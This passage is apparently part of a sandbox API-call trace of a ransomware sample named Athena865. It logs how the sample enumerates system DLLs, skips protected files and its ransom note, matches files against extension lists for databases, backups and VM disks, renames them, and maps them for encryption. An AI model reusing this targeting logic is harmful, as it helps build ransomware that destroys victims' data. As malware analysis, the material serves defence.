-1 [0118.762] lstrlenW (lpString="teacher") returned 7 [0118.762] lstrcmpiW (lpString1="dco.dll", lpString2="teacher") returned -1 [0118.762] lstrlenW (lpString="tmd") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.762] lstrlenW (lpString="tps") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.762] lstrlenW (lpString="trc") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.762] lstrlenW (lpString="trc") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.762] lstrlenW (lpString="trm") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.762] lstrlenW (lpString="udb") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.762] lstrlenW (lpString="udl") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.762] lstrlenW (lpString="usr") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.762] lstrlenW (lpString="v12") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.762] lstrlenW (lpString="vis") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.762] lstrlenW (lpString="vpd") returned 3 [0118.763] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.763] lstrlenW (lpString="vvv") returned 3 [0118.763] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.763] lstrlenW (lpString="wdb") returned 3 [0118.763] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.763] lstrlenW (lpString="wmdb") returned 4 [0118.763] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.763] lstrlenW (lpString="wrk") returned 3 [0118.763] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.763] lstrlenW (lpString="xdb") returned 3 [0118.763] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.763] lstrlenW (lpString="xld") returned 3 [0118.763] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.763] lstrlenW (lpString="xmlff") returned 5 [0118.763] lstrcmpiW (lpString1="o.dll", lpString2="xmlff") returned -1 [0118.763] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.Athena865") returned 63 [0118.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.athena865"), dwFlags=0x1) returned 1 [0118.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.764] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=258048) returned 1 [0118.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.764] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.765] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.765] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.765] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f300, lpName=0x0) returned 0x154 [0118.767] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f300) returned 0x170000 [0118.778] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.779] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.779] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.779] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0118.782] CloseHandle (hObject=0x154) returned 1 [0118.782] CloseHandle (hObject=0x17c) returned 1 [0118.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.783] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2=".") returned 1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="..") returned 1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="windows") returned -1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="bootmgr") returned 1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="temp") returned -1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="pagefile.sys") returned -1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="boot") returned 1 [0118.783] lstrcmpiW (lpString1="msadcor.dll", lpString2="ids.txt") returned 1 [0118.784] lstrcmpiW (lpString1="msadcor.dll", lpString2="ntuser.dat") returned -1 [0118.784] lstrcmpiW (lpString1="msadcor.dll", lpString2="perflogs") returned -1 [0118.784] lstrcmpiW (lpString1="msadcor.dll", lpString2="MSBuild") returned -1 [0118.784] lstrlenW (lpString="msadcor.dll") returned 11 [0118.784] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadcor.dll" | out: lpString1="msadcor.dll") returned="msadcor.dll" [0118.784] lstrlenW (lpString="msadcor.dll") returned 11 [0118.784] lstrlenW (lpString="Athena865") returned 9 [0118.784] lstrcmpiW (lpString1="adcor.dll", lpString2="Athena865") returned -1 [0118.784] lstrlenW (lpString=".dll") returned 4 [0118.784] lstrcmpiW (lpString1="msadcor.dll", lpString2=".dll") returned 1 [0118.784] lstrlenW (lpString=".lnk") returned 4 [0118.784] lstrcmpiW (lpString1="msadcor.dll", lpString2=".lnk") returned 1 [0118.784] lstrlenW (lpString=".ini") returned 4 [0118.784] lstrcmpiW (lpString1="msadcor.dll", lpString2=".ini") returned 1 [0118.784] lstrlenW (lpString=".sys") returned 4 [0118.784] lstrcmpiW (lpString1="msadcor.dll", lpString2=".sys") returned 1 [0118.784] lstrlenW (lpString="msadcor.dll") returned 11 [0118.784] lstrlenW (lpString="bak") returned 3 [0118.784] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.784] lstrlenW (lpString="ba_") returned 3 [0118.784] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.784] lstrlenW (lpString="dbb") returned 3 [0118.784] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.784] lstrlenW (lpString="vmdk") returned 4 [0118.784] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.784] lstrlenW (lpString="rar") returned 3 [0118.784] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.784] lstrlenW (lpString="zip") returned 3 [0118.784] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.784] lstrlenW (lpString="tgz") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.785] lstrlenW (lpString="vbox") returned 4 [0118.785] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.785] lstrlenW (lpString="vdi") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.785] lstrlenW (lpString="vhd") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.785] lstrlenW (lpString="vhdx") returned 4 [0118.785] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.785] lstrlenW (lpString="avhd") returned 4 [0118.785] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.785] lstrlenW (lpString="db") returned 2 [0118.785] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.785] lstrlenW (lpString="db2") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.785] lstrlenW (lpString="db3") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.785] lstrlenW (lpString="dbf") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.785] lstrlenW (lpString="mdf") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.785] lstrlenW (lpString="mdb") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.785] lstrlenW (lpString="sql") returned 3 [0118.785] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.785] lstrlenW (lpString="sqlite") returned 6 [0118.785] lstrcmpiW (lpString1="or.dll", lpString2="sqlite") returned -1 [0118.785] lstrlenW (lpString="sqlite3") returned 7 [0118.785] lstrcmpiW (lpString1="cor.dll", lpString2="sqlite3") returned -1 [0118.785] lstrlenW (lpString="sqlitedb") returned 8 [0118.785] lstrcmpiW (lpString1="dcor.dll", lpString2="sqlitedb") returned -1 [0118.786] lstrlenW (lpString="xml") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.786] lstrlenW (lpString="$er") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.786] lstrlenW (lpString="4dd") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.786] lstrlenW (lpString="4dl") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.786] lstrlenW (lpString="^^^") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.786] lstrlenW (lpString="abs") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.786] lstrlenW (lpString="abx") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.786] lstrlenW (lpString="accdb") returned 5 [0118.786] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0118.786] lstrlenW (lpString="accdc") returned 5 [0118.786] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0118.786] lstrlenW (lpString="accde") returned 5 [0118.786] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0118.786] lstrlenW (lpString="accdr") returned 5 [0118.786] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0118.786] lstrlenW (lpString="accdt") returned 5 [0118.786] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0118.786] lstrlenW (lpString="accdw") returned 5 [0118.786] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0118.786] lstrlenW (lpString="accft") returned 5 [0118.786] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0118.786] lstrlenW (lpString="adb") returned 3 [0118.786] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.787] lstrlenW (lpString="adb") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.787] lstrlenW (lpString="ade") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.787] lstrlenW (lpString="adf") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.787] lstrlenW (lpString="adn") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.787] lstrlenW (lpString="adp") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.787] lstrlenW (lpString="alf") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.787] lstrlenW (lpString="ask") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.787] lstrlenW (lpString="btr") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.787] lstrlenW (lpString="cat") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.787] lstrlenW (lpString="cdb") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.787] lstrlenW (lpString="ckp") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.787] lstrlenW (lpString="cma") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.787] lstrlenW (lpString="cpd") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.787] lstrlenW (lpString="dacpac") returned 6 [0118.787] lstrcmpiW (lpString1="or.dll", lpString2="dacpac") returned 1 [0118.787] lstrlenW (lpString="dad") returned 3 [0118.787] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.787] lstrlenW (lpString="dadiagrams") returned 10 [0118.788] lstrcmpiW (lpString1="sadcor.dll", lpString2="dadiagrams") returned 1 [0118.788] lstrlenW (lpString="daschema") returned 8 [0118.788] lstrcmpiW (lpString1="dcor.dll", lpString2="daschema") returned 1 [0118.788] lstrlenW (lpString="db-journal") returned 10 [0118.788] lstrcmpiW (lpString1="sadcor.dll", lpString2="db-journal") returned 1 [0118.788] lstrlenW (lpString="db-shm") returned 6 [0118.788] lstrcmpiW (lpString1="or.dll", lpString2="db-shm") returned 1 [0118.788] lstrlenW (lpString="db-wal") returned 6 [0118.788] lstrcmpiW (lpString1="or.dll", lpString2="db-wal") returned 1 [0118.788] lstrlenW (lpString="dbc") returned 3 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.788] lstrlenW (lpString="dbs") returned 3 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.788] lstrlenW (lpString="dbt") returned 3 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.788] lstrlenW (lpString="dbv") returned 3 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.788] lstrlenW (lpString="dbx") returned 3 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.788] lstrlenW (lpString="dcb") returned 3 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.788] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.788] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.789] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.Athena865") returned 64 [0118.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.athena865"), dwFlags=0x1) returned 1 [0118.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.791] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0118.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.791] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.792] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.792] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.792] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0118.793] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0118.794] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.795] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.795] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.796] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.796] CloseHandle (hObject=0x154) returned 1 [0118.796] CloseHandle (hObject=0x17c) returned 1 [0118.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.797] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2=".") returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="..") returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="windows") returned -1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="bootmgr") returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="temp") returned -1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="pagefile.sys") returned -1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="boot") returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="ids.txt") returned 1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="ntuser.dat") returned -1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="perflogs") returned -1 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2="MSBuild") returned -1 [0118.797] lstrlenW (lpString="msadcs.dll") returned 10 [0118.797] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadcs.dll" | out: lpString1="msadcs.dll") returned="msadcs.dll" [0118.797] lstrlenW (lpString="msadcs.dll") returned 10 [0118.797] lstrlenW (lpString="Athena865") returned 9 [0118.797] lstrcmpiW (lpString1="sadcs.dll", lpString2="Athena865") returned 1 [0118.797] lstrlenW (lpString=".dll") returned 4 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2=".dll") returned 1 [0118.797] lstrlenW (lpString=".lnk") returned 4 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2=".lnk") returned 1 [0118.797] lstrlenW (lpString=".ini") returned 4 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2=".ini") returned 1 [0118.797] lstrlenW (lpString=".sys") returned 4 [0118.797] lstrcmpiW (lpString1="msadcs.dll", lpString2=".sys") returned 1 [0118.797] lstrlenW (lpString="msadcs.dll") returned 10 [0118.798] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll.Athena865") returned 63 [0118.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll.athena865"), dwFlags=0x1) returned 1 [0118.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=98304) returned 1 [0118.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.799] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.800] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.800] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.800] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18300, lpName=0x0) returned 0x154 [0118.801] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18300) returned 0x100000 [0118.806] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.807] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.807] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.808] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.809] CloseHandle (hObject=0x154) returned 1 [0118.809] CloseHandle (hObject=0x17c) returned 1 [0118.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.809] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, 